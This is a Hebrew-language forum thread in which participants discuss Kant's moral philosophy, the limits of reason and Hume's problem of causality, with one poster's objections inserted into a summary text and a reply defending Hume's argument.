 יש כאן הרבה מלל עם המילה נסיון שאני בכלל לא מבין אותו. המילה הנסיון לפי הבנתי יש לה שני מובנים האחד. אדם אומר לפי הנסיון שלי פלוני לא אמין. פי' המילה נסיון הוא – נתונים שהצטברו אצלי עד עכשיו מהאובייקט המדובר. מובן שני לערוך נסיון – ליצור תופעה שאנו רוצים לבדוק איזה נתון יתקבל אצלינו מאותה תופעה. לפי שני המובנים אני פשוט לא מבין את המשמעות של המילה נסיון בפסקה דלעיל

 

בכך השיב קאנט לבעיה שהעלה דוד יום.

הוא לא השיב. הוא בכלל לא קיבל את הבעיה.

הנחה א. הנחת יסוד: לכל דבר יש סיבה

החנה ב. (אבחנה של יום) את עיקרון הסיבתיות איננו רואים באופן ישיר בתופעות העולם.

הנחה ג. (ההנחה בקושיא של יום) עיקרון שאיננו רואים באופן ישיר בתופעות העולם אין לקבלו הנחת יסוד.

קאנט פשוט לא מסכים אם הנחה ג'. בעיני הנחה ג' בכלל הגיונית כך שאיני רואה חידוש באי קבלתה. אני לא כל כך מבין למה יום שאל את זה דוקא על עיקרון הסבתיות ולא על הנחות יסוד אחרות כמו שלא יעבור יותר מישר אחד דרך שתי נקודות שגם אותה לא נפגוש באופן ישיר בעולם.

בשביל לא להסכים להנחה ג' אני לא מבין למה קאנט צריך להגיע למסקנה המוזרה שהתבונה יוצרת את עיקרון הסיבתיות.

 

 

ומה עם החירות שלנו? אנחנו דורשים חירות!

התשובה שמשיב קאנט: מצטער. אין חירות בעולם התופעות שבניסיון מה זה עולם התופעות שבנסיון?. הכל כפוף לסיבתיות.

 

אבל איש חכם הוא, עמנואל קאנט, והומניסט גדול. הסיבתיות הכרחית כדי לאפשר את הפיזיקה והעולם הנסיוני שלה. החירות הכרחית כדי לאפשר מוסר. איך נציל את המוסר? צריך לפנות לו מקום משלו!    

 

לפני שנעבור למוסר צריך לעסוק בעוד ענין חשוב אחד.

 

ו. גבולות יכולת התבונה.

קאנט הצליח, לשיטתו, לבסס את אפשרותה של הפיזיקה הנסיונית, הפיזיקה של ניוטון וממשיכיו.

עולם הנסיון הפיזיקלי הוא אפשרי משום שהתבונה היא שיוצרת אותו.

 

ומה באשר לשאלות הגדולות שכל כך מענינות אותנו. האם, למשל, יש לעולם התחלה או אין לה? האם יש מצוי ראשון כל יכול? האם ישנה חירות?

קאנט טוען כי התבונה שלנו היא סופית ומוגבלת. יש גבולות ליכולות שלה. כאשר התבונה שלנו חורגת מעבר לתחום היכולת שלה, היא יוצרת אשליות ומסתבכת בסתירות.

החריגה הזו אינה קפריזית, אלא היא נובעת מאינטרס מהותי של התבונה: להשיג את היסוד המוחלט של הדברים. כעת הגיע הזמן שהתבונה תסמן את הגבולות שלה ותכיר בחוסר אפשרותה לחצות אותם ולעמוד על קרקע יציבה.

 

קאנט טוען כי ישנן שלש אידאות גדולות, הנפש, העולם, אלהים, אשר ההכרה האנושית מנסה לקבוע אותן, אבל אין היא מסוגלת לכך כיוון שהיא חורגת מיכולתה.

1. בעניין הנפש, האם ה'אני' הוא עצם פשוט ולכן נצחי?

2. בענין העולם בכללו.

האם העולם [מעבר לתופעות שבו, המוכרות בנסיון], יש לו גבולות?

האם החומר נחלק לא'ס או אטומיסטי?

- על שתי אלו אין לענות לא לחיוב ולא לשלילה, כיוון שהדבר חורג מן הנסיון ומתיחס לעולם כולו ולא לתופעות שבו.

האם יש חרות או הכל קורה על פי חוקי הטבע (דטרמיניזם)?

האם יש נמצא הכרחי?

- תשובת קנט: בעולם התופעות, עולם הנסיון, אין חרות ואין נמצא הכרחי.

בכך משאיר קאנט פתח לעולם שמחוץ לנסיון.

3. בענין מציאות האלהים, אלהים אינו נתון של הנסיון הפיזיקאלי, והתבונה בכוחות עצמה בלבד אינה מסוגלת להוכיח את מציאותו. קאנט מונה את סוגי ההוכחות האפשריות, ומראה כי כל סוג של הוכחה נכשל. פסילת הוכחות אינה מספיקה יתכן שלתבונה יש הנחות יסוד בנושאים אלו. בדיוק כמו שלשיטתו עיקרון הסבתיות הוא הנחת יסוד יתכן שהחומר נחלק לאין סוף הוא הנחת יסוד.

 

האינטרס שוב ???? של התבונה בשלשת האידאות האלו יקבל ביטוי במישור חדש – המישור המעשי, תחום המוסר. מאין זאת? מה הקשר אם החומר מתחלק לאין סוף למוסר? גם השאלות האחרות לא כל כך ברור הקשר שלהם למוסר

 

עלינו להכיר בגבולות ההכרה שלנו. אלפי שנים בנינו ארמונות מחשבתיים עצומים ומפוארים, אבל כולם היו ללא יסודות, וכולם התפוררו. כעת הצלחנו לבנות רק בית קטן, אבל בית יציב של ההכרה הנסיונית של הטבע, ועלינו להתנחם בכך. הנה המחיר שמשלם קאנט בעבור תורתו. בית קטן ובטוח תמורת ויתור על ארמונות מתפוררים.

 

ז. תורת המוסר. [כאן תתקבל גם התשובה של קאנט על השאלה שנשאלה באשכול אחר: באין אמונה באלהים מדוע לא לרצוח?] 

 

הבעיות.

1. הטבע הוא דטרמיניסטי, הכל פועל מתוך סיבה. כיצד אפשרי מוסר הדורש רצון ובחירה חופשיים, המניעים שרשרת סיבות חדשה

2. על מה נתן לבסס מוסר אוניברסאלי, התקף כלפי הכל.

 

הפתרון ימצא בתבונה.

1. התבונה היא שביססה את אפשרות הטבע הפיסיקלי. יש לבדוק אם היא יכולה לבסס אפשרות טבע מוסרי.

2. כל בני האדם הם יצורים בעלי תבונה. מוסר הנובע מן התבונה יהיה אוניברסאלי ותקף עבור כל היצורים התבוניים, והאדם בכללם.

 

הקטע הבא הוא קשה לתפיסה, ומצריך מאמץ בקריאה ראשונית.

 

האדם הוא אזרח בשני עולמות.

1. אזרח בעולם התופעות.

כאשר אני בוחן אדם אחר, או את עצמי, כאוביקט של נסיון בעולם התופעות, תמיד אמצא אותו כפוף לחוק חיצוני.  אין חירות ורצון חופשי בעולם התופעות. יש אינטרסים רגילים ומותנים, ויכולות פעולה למימוש האינטרסים האלו. למשל, אדם נותן תרומת כסף גדולה לבית חולים. מעשה זה מונע על ידי גורמים שונים, כגון לעשות שם טוב בציבור, להשיג השפעה או טובת הנאה אחרת. אדם אינו גונב מפחד העונש. כל אלו, מעשים ראויים או בלתי ראויים, אינם שייכים למישור המוסרי, כיוון שכולם מותנים בסיבתיות ולא בחירות.

 

2. אזרח בעולם תבוני.

כאשר התבונה מביטה בעצמה ובוחנת את עצמה מחוץ לנסיון, היא מגלה בתוכה (הנחת יסוד?) תכלית עליונה, להשיג את הטוב העליון. הטוב העליון מבקש להשיג את עיצובו של עולם הטבע כולו כעולם מוסרי. איחוד הטבע שבנסיון  ועולם המוסר לעולם אחד.

עוד היא מגלה בתוכה כלים המאפשרים את המוסר. כושר הבחנה בין טוב ורע. רצון חופשי (הנחת יסוד? אם כן יש לתבונה שתי הנחות יסודות שסותרות אחת את השניה. הנחה א' לכל דבר יש סיבה. ב. יש רצון חופשי – מהו הפיתרון לסתירה?) לבחור בין אפשרויות על פי ההבחנה המוסרית, יכולת להניע את עצמה למימוש הבחירה ובכך להניע שרשרת סיבתית חדשה.

 

התבונה בשימוש העיוני שלה, הצליחה לבסס את הטבע הנסיוני. אבל היא דורשת מעצמה שימוש נוסף, שימוש מעשי, להגשמת התכלית המוסרית שלה. שימוש שלא הצליחה להוכיח אבל גם לא לסתור (הצליחה להוכיח שהוא בילתי אפשרי למימוש כי האפשרות למימוש סותרת את הנחת יסוד הסיבתיות) בביקורת העיונית. כך נתפנה מקום עבור השמוש המעשי של התבונה.

ההצדקה ההגיונית של הדרישה המעשית לאושר והשגת הטוב העליון, במה שהתבונה מוצאת אותם בתכליות ובאינטרסים שלה. וכשם שהתבונה, באינטרס העיוני שלה, ביססה את הכרת הטבע שבנסיון, כך, באינטרס המעשי שלה, היא רשאית לדרוש את יכולת ההגשמה של התכלית המוסרית שלה. לצערי אני רואה כאן מלל חסר משמעות

 

המוסר הוא ביטוי המגלה את המבנה הפנימי של התבונה ????.  

כשם שהתבונה הראתה לנו כיצד היא מסוגלת להכיר ולבנות את הטבע הפיזיקאלי מתוך המבנה הפנימי שלה, כך היא מראה לנו כיצד, באלו כלים ולאזו תכלית היא מסוגלת לפעול בעולם המעשי של המוסר.

אם אי אפשר להוכיח את כל אלו בנסיון, אלא רק בהסתכלות פנימית בתוך התבונה, אזי התבונה מציגה לנו דרישה – פוסטולט, ודורשת מאיתנו לקיים את הדרישה הזו במישור המעשי.

התובנה היא מקור הדרישה??? היא יוצרת המוסר???

 




דדווח על תוכן פוגעני

מחובר
נשלח ב-5/8/2011 16:48 לינק ישיר 

מתעניין, אין לי זמן לעבור על הכל. אתייחס רק להתחלת דבריך. כתבת:

הסיבתיות היא אחת מהנחות היסוד של התפיסה המדעית. מי אמר? אולי היא פרי הנסיון? אתאר תצפית קטנה: ילד משחק עם עשרים גולות במשך שעה. נחלק את השעה ל 10,000 חלקים לכל חלק נקרא רגע. התצפית העלתה את הנתונים הבאים. גולה מס' 1 זזה ברגע X . בגולה מס' 1 פגעה גולה אחרת ברגע X . אפשרות א: גולה יכולה לזוז בלא שום דבר שיפגע בה זה שהיא זזה ברגע שפגעה בה גולה אחרת זה מקרה שהסתברותו היא 1 ל10,000 אפשרות ב פגיעת הגולה האחרת בה גרמה את את תזוזתה. גולה מס' 2 זזה ברגע Y ובאותו רגע גם פגעה בה גולה אחרת אפשרות א: גולה יכולה לזוז בלא שום דבר שיפגע בה וכו' הסבירות היא 1 ל 10,000 אבל בצירוף הנתונים מגולה 1 הסבירות כבר נמוכה הרבה יותר וכו' וכו' ומנתוני התצפית על 20 הגולות הסיכוי שהכל מקרה הוא שואף לאפס לכן תופעת הסיבתיות היא מסקנה מתצפיות. (בעיקרון אפשר להציע אפשרות שלישית שתופעה אחרת גרמה את שני הדברים את תזוזת הגולה והן את פיגעת הגולה האחרת בה לכן הם קרו באותו זמן אבל גם אפשרות זו אומרת שיש סיבתיות)

כבר יום טען שאתה לא יכול ללמוד על הסיבתיות מהניסיון.
ראשית, גם אתה העמדת את הסיבתיות על שיקול של הסתברות. אבל גם הסתברות היא הנחה לא יותר פשוטה מהסיבתיות(לפחות כהנחה על העולם. בהקשר מתמטי תלוש אתה כמובן תמיד יכול לומר שזהו חשבון מוכרח על פי ההנחות המקובלות שם). אז מניין למדת אותה?
שנית (ואולי זהו ניסוח אחר לאותה טענה. אני מתלבט בזה), היחס הסיבתי (א סיבתו של ב) כלול משלושה רכיבים לפחות: א. יחס לוגי - תנאי (אם א אז ב). ב. יחס זמני (אחרי א בא ב). ג. יחס של גרימה (ב התרחש בגלל א).
דייויד יום טען שאין לנו שום מקור ניסיוני לרכיב ג. לכל היותר אנחנו רואים את הרכיבים א וב'. השיקול שלך שאומר שיחס שמורכב מא' וב' בלבד הוא פחות מסתבר (זה החישוב שעשית), מבוסס בעצמו על הנחת הסיבתיות. אתה מניח שכשיש יחס סיבתי (=גרימה) זה מסביר טוב יותר את הצמידות הזמנית והלוגית בין האירועים. אבל זו גופא הנחת הסיבתיות, ומניין למדת אותה?

ולגבי שאלתך על המילה 'בגלל', ראה הערתי למעלה (בהודעה הארוכה שכתבתי) שבאמת המינוח הזה לא מוצלח. יום לא שאל על המילה אלא על המושג (ולא המונח הלשוני). כשאנחנו רואים מולנו עץ, אנחנו מצמידים לו מילה שהיא שמו 'עץ' (קריפקי מכנה את זה 'הטבלה'). אבל את הסיבתיות אנחנו לא רואים מולנו. אז מניין שאבנו את המושג הזה? זוהי מסקנה שלנו מהעובדות בהן אנחנו צופים. אבל המסקנה הזו מניחה שכבר יש בתוכנו מושג של סיבתיות, שהוא מובן לנו, והתצפיות רק מביאות אותנו למסקנה שהוא אשר עמד ביסוד הקשר בין האירועים שמתרחשים לפנינו. אבל יום שאל מניין שאבנו את המושג הזה? הרי הוא לא נוכח מולנו בשום מקום ובשום הקשר. לכל היותר זוהי מסקנה ממה שאנחנו רואים (ולמעלה טענתי שגם זה לא נכון). כיצד נוצר המושג הזה בהכרתנו/חשיבתנו?
בצורה אחרת אנסח זאת כך: נניח שאנחנו מייצרים את המושג הזה יש מאין כדי להסביר את מה שאנחנו רואים (גם אם אתה צודק במה שכתבת למעלה). אבל ייצור מושג יש מאין אינו ערובה לזה שיש דבר כזה בעולם עצמו. אז מדוע לדעתנו הסיבתיות מתארת את העולם כשלעצמו (ולא רק את אין שאנחנו רואים אותו). זה כבר ניסוח יותר קאנטיאני מאשר יומיאני (אבל לדעתי מדובר בתרגום לקאנטיאנית מדוברת גרידא. זה פן אחר של אותה שאלה).



דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > תאור פשוט של תורת המוסר של קאנט, כולל מבוא.
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 5 6 לדף הבא סך הכל 6 דפים.